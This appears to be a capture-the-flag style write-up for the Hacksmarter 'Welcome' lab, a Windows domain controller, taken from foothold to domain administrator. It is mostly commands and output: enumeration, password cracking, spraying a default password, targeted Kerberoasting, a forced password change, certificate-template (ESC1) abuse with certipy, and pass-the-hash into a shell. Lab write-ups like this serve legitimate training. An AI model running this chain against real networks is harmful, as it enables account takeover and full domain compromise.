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Welcome

welcome

**`This is a writeup for the Hacksmarter Lab machine: Welcome`**

- IP Address: ``10.1.93.173``
- Difficulty: Easy
- Operating System: Windows
- Assumed Breach Creds: e.hills:Il0vemyj0b2025!

Enumeration Using Nmap

nmap -A 10.1.93.173 --unprivilege -Pn
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-13 15:34 -0800
Nmap scan report for 10.1.93.173
Host is up (0.033s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-13 23:35:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.WELCOME.local
| Not valid before: 2025-09-13T16:39:47
|_Not valid after:  2026-09-13T16:39:47
|_ssl-date: 2025-11-13T23:36:44+00:00; 0s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2025-11-13T23:36:44+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.WELCOME.local
| Not valid before: 2025-09-13T16:39:47
|_Not valid after:  2026-09-13T16:39:47
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2025-11-13T23:36:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.WELCOME.local
| Not valid before: 2025-09-13T16:39:47
|_Not valid after:  2026-09-13T16:39:47
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2025-11-13T23:36:44+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.WELCOME.local
| Not valid before: 2025-09-13T16:39:47
|_Not valid after:  2026-09-13T16:39:47
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-11-13T23:36:44+00:00; +1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: WELCOME
|   NetBIOS_Domain_Name: WELCOME
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: WELCOME.local
|   DNS_Computer_Name: DC01.WELCOME.local
|   Product_Version: 10.0.20348
|_  System_Time: 2025-11-13T23:36:04+00:00
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Not valid before: 2025-10-27T15:46:43
|_Not valid after:  2026-04-28T15:46:43
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-11-13T23:36:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.30 seconds

SMB Enumeration

e.hills user do have READ access to the DC01 shared drive

 nxc smb 10.1.93.173 -u e.hills -p 'Il0vemyj0b2025!' --shares
SMB         10.1.93.173     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.93.173     445    DC01             [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB         10.1.93.173     445    DC01             [*] Enumerated shares
SMB         10.1.93.173     445    DC01             Share           Permissions     Remark
SMB         10.1.93.173     445    DC01             -----           -----------     ------
SMB         10.1.93.173     445    DC01             ADMIN$                          Remote Admin
SMB         10.1.93.173     445    DC01             C$                              Default share
SMB         10.1.93.173     445    DC01             Human Resources READ
SMB         10.1.93.173     445    DC01             IPC$            READ            Remote IPC
SMB         10.1.93.173     445    DC01             NETLOGON        READ            Logon server share
SMB         10.1.93.173     445    DC01             SYSVOL          READ            Logon server share

smbclient.py will be used from the impacket suite of tools to login to the Human Resource share folder.

dcyberguy on  ~/Documents/Hacksmarter-labs/Welcome
# dir

    Directory: C:\Users\dcyberguy\Documents\Hacksmarter-labs\Welcome

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          11/13/2025  4:36 PM          84715 Welcome 2025 Holiday Schedule.pdf
-a---          11/13/2025  4:36 PM          81466 Welcome Benefits.pdf
-a---          11/13/2025  4:37 PM          82644 Welcome Handbook Excerpts.pdf
-a---          11/13/2025  4:37 PM          79823 Welcome Performance Review Guide.pdf
-a---          11/13/2025  4:37 PM          89511 Welcome Start Guide.pdf

Welcome Start Guide.pdf is password protected so I will use pdf2john to crack the password

pdf2john Welcome\ Start\ Guide.pdf > john.pass
  welcome ls
       john.pass        Welcome Start Guide.pdf 
  welcome cat john.pass
Welcome Start Guide.pdf:$pdf$4*4*128*-1060*1*16*fc591b1749ad08498b60ce3a81947b8c*32*9abeeb4695a10ac7b5e6558d39ee8c8300000000000000000000000000000000*32*e3e7eecc056a1ca2a2b0298352b0970f96ff1503022a1146e322e2f215dfd6be
  welcome sudo john --wordlist=/usr/share/wordlists/rockyou.txt john.pass
[sudo] password for parrot: 
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 4 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
humanresources   (Welcome Start Guide.pdf)     
1g 0:00:00:05 DONE (2025-11-20 17:37) 0.1675g/s 155529p/s 155529c/s 155529C/s hunkies..huitar
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed. 
  welcome open Welcome\ Start\ Guide.pdf

[password is humanresources]

On the Human resource document, there is a default password every new employee gets after on-boarding. This password would later be changed. Let’s see whether any of the users changed his password.

alt text

I will list all users using nxc and cut out only the users. This users would be stored in a file called users.txt

nxc smb 10.1.93.173 -u e.hills -p 'Il0vemyj0b2025!' --users 
SMB         10.1.93.173     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:False)
SMB         10.1.93.173     445    DC01             [+] WELCOME.local\e.hills:Il0vemyj0b2025! 
SMB         10.1.93.173     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                             
SMB         10.1.93.173     445    DC01             Administrator                 2025-09-13 16:24:04 0       Built-in account for administering the computer/domain 
SMB         10.1.93.173     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.1.93.173     445    DC01             krbtgt                        2025-09-13 16:40:39 0       Key Distribution Center Service Account 
SMB         10.1.93.173     445    DC01             e.hills                       2025-09-13 20:41:15 0        
SMB         10.1.93.173     445    DC01             j.crickets                    2025-09-13 20:43:53 0        
SMB         10.1.93.173     445    DC01             e.blanch                      2025-09-13 20:49:13 0        
SMB         10.1.93.173     445    DC01             i.park                        2025-09-14 04:23:03 0       IT Intern 
SMB         10.1.93.173     445    DC01             j.johnson                     2025-09-13 20:58:15 0        
SMB         10.1.93.173     445    DC01             a.harris                      2025-09-13 20:59:13 0        
SMB         10.1.93.173     445    DC01             svc_ca                        2025-09-14 00:19:35 0        
SMB         10.1.93.173     445    DC01             svc_web                       2025-09-13 21:40:40 0       Web Server in Progress 
SMB         10.1.93.173     445    DC01             [*] Enumerated 11 local users: WELCOME

Save the users list to a file

cat users.txt | cut -d ' ' -f 5
Administrator
Guest
krbtgt
e.hills
j.crickets
e.blanch
i.park
j.johnson
a.harris
svc_ca

Bruteforce for user with default password and also check whether it has remote services enabled

nxc smb 10.1.93.173 -u users.txt -p 'Welcome2025!@'
SMB         10.1.93.173     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:False)
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\Administrator:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\Guest:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\krbtgt:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\e.hills:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\j.crickets:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\e.blanch:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\i.park:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [-] WELCOME.local\j.johnson:Welcome2025!@ STATUS_LOGON_FAILURE 
SMB         10.1.93.173     445    DC01             [+] WELCOME.local\a.harris:Welcome2025!@ 

  welcome nxc smb 10.1.93.173 -u a.harris -p 'Welcome2025!@'
SMB         10.1.93.173     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:False)
SMB         10.1.93.173     445    DC01             [+] WELCOME.local\a.harris:Welcome2025!@ 

  welcome nxc winrm 10.1.93.173 -u a.harris -p 'Welcome2025!@'
WINRM       10.1.93.173     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:WELCOME.local)
WINRM       10.1.93.173     5985   DC01             [+] WELCOME.local\a.harris:Welcome2025!@ (Pwn3d!)

Use the obtained password and login to the compromised user’s account.

welcome evil-winrm -i 10.1.93.173 -u a.harris -p 'Welcome2025!@'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\a.harris\Documents> dir
*Evil-WinRM* PS C:\Users\a.harris\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\a.harris\Desktop> dir


    Directory: C:\Users\a.harris\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/13/2025   8:48 PM             32 user.txt


*Evil-WinRM* PS C:\Users\a.harris\Desktop> type user.txt
46fa545e76f2bXXXXXXXXXXXXXX
Looking at the user privileges, it seems I can do CVE-2021-42278 which allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user). But it failed since the dir is 0.

noPac git:(main) python3 noPac.py welcome.local/a.harris:'Welcome2025!@' -dc-ip 10.1.93.173 -shell --impersonate administrator -use-ldap

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 

[-] Cannot exploit , ms-DS-MachineAccountQuota 0

WinPeas did not work either. It was caught by the antivirus.

*Evil-WinRM* PS C:\Windows\Temp> ./winPEASx64.exe
Program 'winPEASx64.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ ./winPEASx64.exe
+ ~~~~~~~~~~~~~~~~.
At line:1 char:1
+ ./winPEASx64.exe
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Bloodhound

Bloodhound was last resort and I found some interesting thing about the user a.harris

nxc ldap 10.1.93.173 -u a.harris -p 'Welcome2025!@' --bloodhound --collection All --dns-server 10.1.93.173
SMB         10.1.93.173     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:False)
LDAP        10.1.93.173     389    DC01             [+] WELCOME.local\a.harris:Welcome2025!@ 
LDAP        10.1.93.173     389    DC01             Resolved collection methods: objectprops, group, acl, psremote, container, session, trusts, dcom, localadmin, rdp
LDAP        10.1.93.173     389    DC01             Done in 00M 04S
LDAP        10.1.93.173     389    DC01             Compressing output into /home/parrot/.nxc/logs/DC01_10.1.93.173_2025-11-20_203317_bloodhound.zip

Fired up Bloodhound

./bloodhound-cli up
[+] Checking the status of Docker and the Compose plugin...
[+] The `compose` plugin is not installed, so we'll try the deprecated `docker-compose` script
[+] The `docker-compose` script is installed, so we'll use that instead
[+] Docker and the Compose plugin checks have passed
[+] Bringing up the BloodHound environment
[+] Running `docker-compose` to bring up the containers with /home/parrot/.config/bloodhound/docker-compose.yml...
Starting bloodhound_graph-db_1 ... 
Starting bloodhound_app-db_1   ... 
Starting bloodhound_graph-db_1 ... done
Starting bloodhound_app-db_1   ... done
Starting bloodhound_bloodhound_1 ... 
Starting bloodhound_bloodhound_1 ... done
A.HARRIS has Genric.All over I.PARK user which would enable us to do a targetedKerberoast attack

targetedKerberoast

alt text

Exploit: TargetedKerberoast

targetedKerberoast git:(main) python3 targetedKerberoast.py -d WELCOME.local -u 'a.harris' -p 'Welcome2025!@' -v 
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (i.park)
[+] Printing hash for (i.park)
$krb5tgs$23$*i.park$WELCOME.LOCAL$WELCOME.local/i.park*$27d2977ce568aadf149bc88472e0e3bd$170de14225152619c806cd2284dd653e547a0c039900365a238821c2411e123e9a83c6dc785ad58dc8db5ba55ca257da0facca60d80810328823dbb779caf2f3d102b9cf78f1cf489c5cb3e221443c87dd572a8986a8f97721be8ca18d27d613b04f5cc5b7f35af2a0bd53dac6d9a73244235fd7347ed762bd330b6305b22ddecd30c0b4fdc07b54640595d89cfe8c57db9b0bc77dc927bdf2314f3b4e903a9ae46c012a1bf3c128c660978423375d05246e7323d6ea23f1d38ccb02301d94127ee47f2df8ed2a1c5ae51077e4beb5f26406e013974c2d93bfd557f98f2dc2684c5351f22c6b684f5574836527f66e4fc4f5311cca9dee775c6cf3d2b478dcac4b4396bd4d44aec09a59213f18a7cc4a650906d7d02a72df02d434bd94b77a55fa3e5f29209cfef07b414d4d998ca57af76fa1f6984f71f85dc57092555e4b349f5d0ba17328f065299783b42a62a79b3abb26bdad451b55a09c05e16a3d2ec956976df3ae288caaa0b1d2cd7397fc33ecfff3d241dc8ac4d03923701f3b9a81fe769278bdf44857dc34f52738e6008877910f7374ab24789abcbbe1ea9d79e465882fe73ef0d09b58918f037972382109bdd50adb4f0e67e83422e6fa522c95aa85549b30952461e55b4995b6cd98ed041f6bb666addacb373e9d11f350c687ec645711ac0e489dfeca6011053f192a1260b3f0e29cc91c454d9ed1618c54a95b9af0f19337e21bdf9871452f9bc636976b9ea9dd84d2687f6269448a4f9235214b582cb89407f049169713b5e6d00ad1900dec55be9b738c16dd0d9df5c7d699e7e397e445ee06bd12b4aa80ffbabf89ae66637cdc61437d432b66c019123a3e4a1e665022f543b06d78e6fd7d03b7aa233e37d96a2e181c11d823cd49c0327eb94b7f2e4831ee6af338db24a6749712701277adef921d5d0fb4cf6076e56f024a284a59fcb024753060edba811f7d3c83d5617b14226bebbbd758b84808822ea22289c921e1e4e2556b7cc32bb1bfb3d42d58731873c9f7485cfb3c17fe15fe10ec5005ea631c18fd78df2b82d01879d09c939d2d060352595e70e07d89f01199a4638ffd365a2195d6ea23d373ad254be979a7d9e754a608b7cab5f26990be7a50236fb1a29fb3536e2bc62d99a31b0308c86827fc04669dc2e68a10b8b8c3f5f0593e254eb9919d7326add150ffdf1d1b58a36d6ee19e1b0c25bd34dad75d7937a1ccd6ddd52451f2f4852c94c25361076d7f91d50b2fb05e14302b378cf0bc511723d84f321fc23fa4285e06181981a65209e8d1aa966424c18964f43b30d58bc8a9a75fbc8c9d43c276c415bfa31f9b986f9ae70130a5368568cb0fef12b45644a2293006d818aba87561cb58a2e8e478e6a68868a696d73808db0c41344fb1bd4e3827da20770908ad8872598a0dc663c014670de45e45d4ea64b5a6497318154cf8eaafab12db02b835a9d96b756beb6d5d
[VERBOSE] SPN removed successfully for (i.park)

I tried cracking the keberoast hash with John The Ripper. It Failed Woefully

john --list:formats | grep krb5
[sudo] password for parrot: 
keyring, keystore, known_hosts, krb4, krb5, krb5asrep, krb5pa-sha1, krb5tgs, 
krb5-17, krb5-18, krb5-3, kwallet, lp, lpcli, leet, lotus5, lotus85, LUKS, 
mscash2, MSCHAPv2, mschapv2-naive, krb5pa-md5, mssql, mssql05, mssql12, 
416 formats (149 dynamic formats shown as just "dynamic_n" here)

  ~ cd Documents/HSM-Labs/welcome 

  welcome nano kerb.hash

  welcome sudo john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerb.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:08 DONE (2025-11-20 21:18) 0g/s 1728Kp/s 1728Kc/s 1728KC/s !!12Honey..*7¡Vamos!
Session completed. 

  welcome sudo john kerb.hash -show
0 password hashes cracked, 1 left
We can also do a Force Password Change. I was able to change i.park’s password and he is able to do an RDP Session

net rpc password "i.park" "Valentino1@" -U "WELCOME.local"/"a.harris"%'Welcome2025!@' -S "10.1.93.173"

  welcome nxc smb 10.1.93.173 -u i.park -p 'Valentino1@'
SMB         10.1.93.173     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:False)
SMB         10.1.93.173     445    DC01             [+] WELCOME.local\i.park:Valentino1@ 

  welcome nxc winrm 10.1.93.173 -u i.park -p 'Valentino1@'
WINRM       10.1.93.173     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:WELCOME.local)
WINRM       10.1.93.173     5985   DC01             [-] WELCOME.local\i.park:Valentino1@

  welcome nxc rdp 10.1.93.173 -u i.park -p 'Valentino1@'
RDP         10.1.93.173     3389   DC01             [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:WELCOME.local) (nla:True)
RDP         10.1.93.173     3389   DC01             [+] WELCOME.local\i.park:Valentino1@ 

Now that I have compromised i.park, what else can I do. Since Park is a member of the HelpDesk group, he can force a password change on both SVC_CA and SVC_WEB. Guess my next mark, you got ir SVC_CA.

Privilege Escalation

Certipy-ad

Since this is all above Certificates, I will check whether it contains a vulnerable certificate

certipy find -u svc_ca -p 'Valentino1@' -dc-ip 10.1.93.173 -target-ip 10.1.93.173 -vulnerable -enable -stdout
/home/parrot/.local/pipx/venvs/certipy-ad/lib/python3.11/site-packages/certipy/version.py:1: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'WELCOME-CA' via CSRA
[!] Got error while trying to get CA configuration for 'WELCOME-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'WELCOME-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'WELCOME-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : WELCOME-CA
    DNS Name                            : DC01.WELCOME.local
    Certificate Subject                 : CN=WELCOME-CA, DC=WELCOME, DC=local
    Certificate Serial Number           : 6E7A025A45F4E6A14E1F08B77737AFD9
    Certificate Validity Start          : 2025-09-13 16:39:33+00:00
    Certificate Validity End            : 2030-09-13 16:49:33+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : WELCOME.LOCAL\Administrators
      Access Rights
        ManageCertificates              : WELCOME.LOCAL\Administrators
                                          WELCOME.LOCAL\Domain Admins
                                          WELCOME.LOCAL\Enterprise Admins
        ManageCa                        : WELCOME.LOCAL\Administrators
                                          WELCOME.LOCAL\Domain Admins
                                          WELCOME.LOCAL\Enterprise Admins
        Enroll                          : WELCOME.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : Welcome-Template
    Display Name                        : Welcome-Template
    Certificate Authorities             : WELCOME-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WELCOME.LOCAL\svc ca
                                          WELCOME.LOCAL\Domain Admins
                                          WELCOME.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : WELCOME.LOCAL\Administrator
        Write Owner Principals          : WELCOME.LOCAL\Domain Admins
                                          WELCOME.LOCAL\Enterprise Admins
                                          WELCOME.LOCAL\Administrator
        Write Dacl Principals           : WELCOME.LOCAL\Domain Admins
                                          WELCOME.LOCAL\Enterprise Admins
                                          WELCOME.LOCAL\Administrator
        Write Property Principals       : WELCOME.LOCAL\Domain Admins
                                          WELCOME.LOCAL\Enterprise Admins
                                          WELCOME.LOCAL\Administrator
    [!] Vulnerabilities
      ESC1                              : 'WELCOME.LOCAL\\svc ca' can enroll, enrollee supplies subject and template allows client authentication

Yes it is vulnerable to ESCI1.

Dumping the administrator.pfx

certipy req -username svc_ca@WELCOME.local -password 'Valentino1@' -target-ip WELCOME.local -dc-ip 10.1.93.173 -ca 'WELCOME-CA' -template 'Welcome-Template' -upn 'administrator@WELCOME.local'
/home/parrot/.local/pipx/venvs/certipy-ad/lib/python3.11/site-packages/certipy/version.py:1: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with UPN 'administrator@WELCOME.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

I can get a ldap shell

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.1.93.173
/home/parrot/.local/pipx/venvs/certipy-ad/lib/python3.11/site-packages/certipy/version.py:1: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://10.1.93.173:636'
[*] Authenticated to '10.1.93.173' as: u:WELCOME\Administrator
Type help for list of commands

# whoami
u:WELCOME\Administrator

Or I can also dump the administrator’s password hash

certipy auth -pfx administrator.pfx -u administrator -domain WELCOME.local  -dc-ip 10.1.93.173
/home/parrot/.local/pipx/venvs/certipy-ad/lib/python3.11/site-packages/certipy/version.py:1: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@welcome.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@welcome.local': aad3b435b51404eeaad3b435b51404ee:0cf1b799460a39c852068b7c0574677a

Instead of me trying to crack it, I can just use the LM hash and authenticate to evil-winrm

evil-winrm -i 10.1.93.173 -u administrator -H '0cf1b799460a39c852068b7c0574677a'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/13/2025   5:47 PM             32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
7fbb500e36XXXXXXXXXXXXXXXXXXXX